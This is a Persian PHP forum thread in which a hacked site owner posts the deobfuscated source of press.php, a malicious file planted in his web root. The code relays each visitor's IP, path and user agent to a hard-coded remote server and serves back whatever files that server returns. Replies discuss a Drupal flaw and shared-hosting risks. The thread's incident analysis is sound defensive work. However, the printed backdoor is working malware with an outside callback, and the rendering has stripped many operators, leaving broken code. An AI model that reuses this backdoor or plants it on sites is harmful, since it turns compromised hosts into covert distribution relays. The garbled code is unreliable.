انجمن ایران پی اچ پی
اسکریپت تروژان! - نسخه قابل چاپ

+- انجمن ایران پی اچ پی
+-- انجمن: پی اچ پی/PHP (https://forum.iranphp.org/Forum-%D9%BE%DB%8C-%D8%A7%DA%86-%D9%BE%DB%8C-PHP)
+--- انجمن: امنیت (https://forum.iranphp.org/Forum-%D8%A7%D9%85%D9%86%DB%8C%D8%AA)
--> +--- موضوع: اسکریپت تروژان!



اسکریپت تروژان! - itstaghi - ۱۳۹۳ آذر ۰۶

برای اولین بار هک شدم. فایلی به اسم press.php توی فولدر روت آپلود شده که هم encode شده هم obfuscate.
یه مقداری باهاش سر و کله زدم و سورسش رو در آوردم:
کد پی‌اچ‌پی:
error_reporting(0);
ini_set("display_errors"0);
$key 0;
$i 0;
foreach (
str_split($_SERVER["REQUEST_URI"]) as $letter) {
    
$key += ord($letter);
    
$i++;
}
if (!(
$i 10)) {
    
$i();
    exit();
}
$key ^=  $key;
$key += 32;
$key str_repeat(chr($key), 8);
function 
error_404() {
    
header("HTTP/1.1 404 Not Found");
    
$uri preg_replace("/(\?).*\$/"""$_SERVER["REQUEST_URI"]);
    
$content http_request_custom("http://" $_SERVER["SERVER_NAME"] . "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
    
$content str_replace("/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA"$uri$content);
    exit(
$content);
}
$ip "125.89.44.28";
$port "80";
$path "/fdn/entry.php";
$query = array();
$query["ip"] = getIp();
$query["path"] = "$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$query["useragent"] = getUseragent();
$url "http://" convertIpToString(1048202089 ^ (ord($key[0]) + ord($key[1]) + (strstr(substr($_SERVER["REQUEST_URI"], -4), ".php") == FALSE 65 ip2long($ip)))) . ":" $port $path "?" http_build_query($query);
$content = @file_get_contents($url);
if (
strlen($content) < 10) {
    
error_404();
}
$content explode("\n"$content);
$filename array_shift($content);
$content implode("\n"$content);
if (
strstr($filename".html") === FALSE) {
    
$type "application/octet-stream";
    
header("Content-Type:" $type);
    
header("Content-Disposition: attachment; filename=" $filename);
    
header("Content-Length: " strlen($content));
}
echo 
$content;
exit();
function 
http_request_custom($params) {
    if (!
is_array($params)) {
        
$params = array("url" => $params"method" => "GET");
    }
    if (
$params["url"] == "") return FALSE;
    if (!isset(
$params["method"])) $params["method"] = (isset($params["data"]) && is_array($params["data"])) ? "POST" "GET";
    
$params["method"] = strtoupper($params["method"]);
    if (!
in_array($params["method"], array("GET""POST"))) return FALSE;
    
$url parse_url($params["url"]);
    if (!isset(
$url["scheme"])) $url["scheme"] = "http";
    if (!isset(
$url["path"])) $url["path"] = "/";
    if (!isset(
$url["host"]) && isset($url["path"])) {
        if (
strpos($url["path"], "/")) {
            
$url["host"] = substr($url["path"], 0strpos($url["path"], "/"));
            
$url["path"] = substr($url["path"], strpos($url["path"], "/"));
        } else {
            
$url["host"] = $url["path"];
            
$url["path"] = "/";
        }
    }
    
$url["path"] = preg_replace("/[\/]+/""/"$url["path"]);
    if (isset(
$url["query"])) $url["path"].= "?{$url['query']}";
    
$port = isset($params["port"]) ? $params["port"] : (isset($url["port"]) ? $url["port"] : ($url["scheme"] == "https" 443 80));
    
$timeout = isset($params["timeout"]) ? $params["timeout"] : 30;
    if (!isset(
$params["return"])) $params["return"] = "content";
    
$scheme $url["scheme"] == "https" "ssl://" "";
    
$fp = @fsockopen($scheme $url["host"], $port$errno$errstr$timeout);
    if (
$fp) {
        if (!isset(
$params["User-Agent"])) $params["User-Agent"] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
        
$request "{$params['method']} {$url['path']} HTTP/1.0\n";
        
$request .= "Host: {$url['host']}\n";
        
$request .= "User-Agent: {$params['User-Agent']}"\n";
        if (isset(
$params["referer"])) $request .= "Referer: {$params['referer']}\n";
        if (isset(
$params["cookie"])) {
            
$cookie "";
            if (
is_array($params["cookie"])) {
                foreach (
$params["cookie"] as $k => $v$cookie .= "$k=$v; ";
                
$cookie substr($cookie0, -2);
            } else 
$cookie $params["cookie"];
            if (
$cookie != ""$request .= "Cookie: $cookie\n";
        }
        
$request.= "Connection: close\n";
        if (
$params["method"] == "POST") {
            if (isset(
$params["data"]) && is_array($params["data"])) {
                foreach (
$params["data"] AS $k => $v$data .= urlencode($k) . "=" urlencode($v) . "&";
                if (
substr($data, -1) == "&"$data substr($data0, -1);
            }
            
$data .= "\n\n";
            
$request .= "Content-type: application/x-www-form-urlencoded\n";
            
$request .= "Content-length: " strlen($data) . "\n";
        }
        
$request .= "\n";
        if (
$params["method"] == "POST"$request .= $data;
        @
fwrite($fp$request);
        
$res "";
        
$headers "";
        
$h_detected false;
        while (!@
feof($fp)) {
            
$res .= @fread($fp1024);
            if (!
$h_detected && strpos($res"\n") !== FALSE) {
                
$h_detected true;
                
$headers substr($res0strpos($res"\n"));
                
$res substr($resstrpos($res"\n") + 4);
                if (
$params["return"] == "headers" || $params["return"] == "array" || (isset($params["redirect"]) && $params["redirect"] == true)) {
                    
$h explode("\n"$headers);
                    
$headers = array();
                    foreach (
$h as $k => $v) {
                        if (
strpos($v":")) {
                            
$fgebfn "v";
                            
$k substr($v0strpos($v":"));
                            
$v trim(substr($$fgebfnstrpos($v":") + 1));
                        }
                        
$headers[strtoupper($k) ] = $v;
                    }
                }
                
$soprnmivykr "params";
                if (isset(
$params["redirect"]) && $params["redirect"] == true && isset($headers["LOCATION"])) {
                    
$params["url"] = $headers["LOCATION"];
                    if (!isset(
$params["redirect-count"])) $params["redirect-count"] = 0;
                    if (
$params["redirect-count"] < 10) {
                        
$params["redirect-count"]++;
                        
$func __FUNCTION__;
                        return @
is_object($this) ? $this->$func($params) : $func($params);
                    }
                }
                if (
$params["return"] == "headers") return $headers;
            }
        }
        @
fclose($fp);
    } else return 
FALSE;
    if (
$params["return"] == "array"$res = array("headers" => $headers"content" => $res);
    return 
$res;
}
function 
getUseragent() {
    return 
$_SERVER["HTTP_USER_AGENT"];
}
function 
getReferer() {
    
$referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "-";
    return 
$referer;
}
function 
convertIpToString($ip) {
    return 
long2ip($ip);
}
function 
getIp() {
    
$ip NULL;
    if (isset(
$_SERVER["REMOTE_ADDR"])) {
        
$ip $_SERVER["REMOTE_ADDR"];
    }
    if (
strpos($ip",") !== FALSE) {
        
$ips explode(","$ip);
        
$ip trim(array_pop($ips));
    }
    return 
$ip;

توی لاگ های سرور فقط یک جا این اسکریپت با uri زیر فراخوانی شده:
کد:
press.php?pizza=uIm6o+IzYVkPLIhU4NQ3irKiR2H9wW7x0KgSLeJk2PY
اسکریپت رو با این کوئری استرینگ تست کردم نتیجه این شد که آدرس زیر رو تولید می کنه و محتواش رو میخونه:
کد:
http://62.122.75.232:80/fdn/entry.php?ip={SITE IP}&path={ROOT PATH}press.php?pizza=uIm6o+IzYVkPLIhU4NQ3irKiR2H9wW7x0KgSLeJk2PY&useragent=Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:32.0)+Gecko/20100101+Firefox/32.0
(به جای {SITE IP} آی پی سایت و به جای {ROOT PATH} آدرس روت قرار میگیره)
پس از اینکه محتوا رو خوند اونو با مایم تایپ application/octet-stream سرو میکنه (که احتمالن csv باشه)

این مساله چندتا سوال برام ایجاد کرده که اگه دوستان محبت کنن و مشارکت کنن مطرح میکنم. (این تاپیک میتونه یه جور آموزش باشه برا دوستان کم تجربه ای مثل من برا سر و کله زدن با مشکلات امنیتی)
مهمترین سوالم اینه که این اسکریپته یه جور تروژانه؟
چرا باید یه بابایی از هاست من برا خوندن و سرو کردن فایلی استفاده کنه؟

---
ویرایش: عنوان ارسال اصلاح شد oia


RE: هک شدم - webnevesht - ۱۳۹۳ آذر ۰۶

ما قبلا یه ریسلری داشتیم از یه سرور سوئدی.خیلی عالی بود اما یکی از سایتها حفره امنیتی داشت و یک نفر از سرور ما کارهای پولشویی انجام میداد و سروره کلا اکانت ما رو بست و حذف کرد حتی بدون اینکه بک آپ بهمون بده و صرفا گفت به چه دلیلی اینکار انجام شده.Blush


RE: هک شدم - itstaghi - ۱۳۹۳ آذر ۰۷

هرکاری کردم نتونستم بفهمم اون سروره چه اطلاعاتی رو به هاست من میداده. از آیپی های مختلفی و با پارامترهای مختلفی آدرس تولیدی رو فراخوانی کردم مدام ارور میده که شما مجاز به دانلود نیستی و هیچ توضیح دیگه ای نمیده.
حالا سوال بعدی من اینه که چطور بفهمم این فایل چطوری و از چه سوراخی اومده تو؟ و آیا هکر همچین فایلی جاهای دیگه هم تزریق کرده یا نه؟
توی لاگ های هاست و دروپال هیچ چیزی گیر نیاوردم.
توضیح: هاستم اشتراکیه و سیستم مدیریت محتوای سایت دروپال ۷.۱۶ هست (بود!) که به دلیل گرفتاری وقت نشده بود آپدیتش کنم.


RE: هک شدم - Reza - ۱۳۹۳ آذر ۰۸

نقل قول:هرکاری کردم نتونستم بفهمم اون سروره چه اطلاعاتی رو به هاست من میداده. از آیپی های مختلفی و با پارامترهای مختلفی آدرس تولیدی رو فراخوانی کردم مدام ارور میده که شما مجاز به دانلود نیستی و هیچ توضیح دیگه ای نمیده.
حالا سوال بعدی من اینه که چطور بفهمم این فایل چطوری و از چه سوراخی اومده تو؟ و آیا هکر همچین فایلی جاهای دیگه هم تزریق کرده یا نه؟
توی لاگ های هاست و دروپال هیچ چیزی گیر نیاوردم.
توضیح: هاستم اشتراکیه و سیستم مدیریت محتوای سایت دروپال ۷.۱۶ هست (بود!) که به دلیل گرفتاری وقت نشده بود آپدیتش کنم.
یه باگ برای دروپال مطرح شده که خود پشتیبان فارسی هم هک شده بود از این طریق
www.drupalcms.ir/node/2088


RE: هک شدم - itstaghi - ۱۳۹۳ آذر ۰۸

(۱۳۹۳ آذر ۰۸, ۰۲:۵۰ ب.ظ)Reza نوشته:
نقل قول:هرکاری کردم نتونستم بفهمم اون سروره چه اطلاعاتی رو به هاست من میداده. از آیپی های مختلفی و با پارامترهای مختلفی آدرس تولیدی رو فراخوانی کردم مدام ارور میده که شما مجاز به دانلود نیستی و هیچ توضیح دیگه ای نمیده.
حالا سوال بعدی من اینه که چطور بفهمم این فایل چطوری و از چه سوراخی اومده تو؟ و آیا هکر همچین فایلی جاهای دیگه هم تزریق کرده یا نه؟
توی لاگ های هاست و دروپال هیچ چیزی گیر نیاوردم.
توضیح: هاستم اشتراکیه و سیستم مدیریت محتوای سایت دروپال ۷.۱۶ هست (بود!) که به دلیل گرفتاری وقت نشده بود آپدیتش کنم.
یه باگ برای دروپال مطرح شده که خود پشتیبان فارسی هم هک شده بود از این طریق
www.drupalcms.ir/node/2088
این باگ و چندتا باگ مهم دیگه ای که اخیرن کشف شدن رو بررسی کردم. هیچکدوم به مورد من نمیخوره. نکته جالب اینجاست که هیچ اتفاقی توی دروپال نیفتاده (البته طبق بررسی های من) به این خاطر بعید میدونم که از یه باگ دروپال برای نفوذ استفاده شده باشه.
به نظر شما چقدر احتمال داره که هکر از طریق سوراخ سنبه ای مربوط به سرور و نرم افزارهای روش نفوذ کرده باشه؟


RE: هک شدم - Reza - ۱۳۹۳ آذر ۰۸

نقل قول: به نظر شما چقدر احتمال داره که هکر از طریق سوراخ سنبه ای مربوط به سرور و نرم افزارهای روش نفوذ کرده باشه؟
چون هاستتون اشتراکیه یکی از احتمال های قوی همین هست .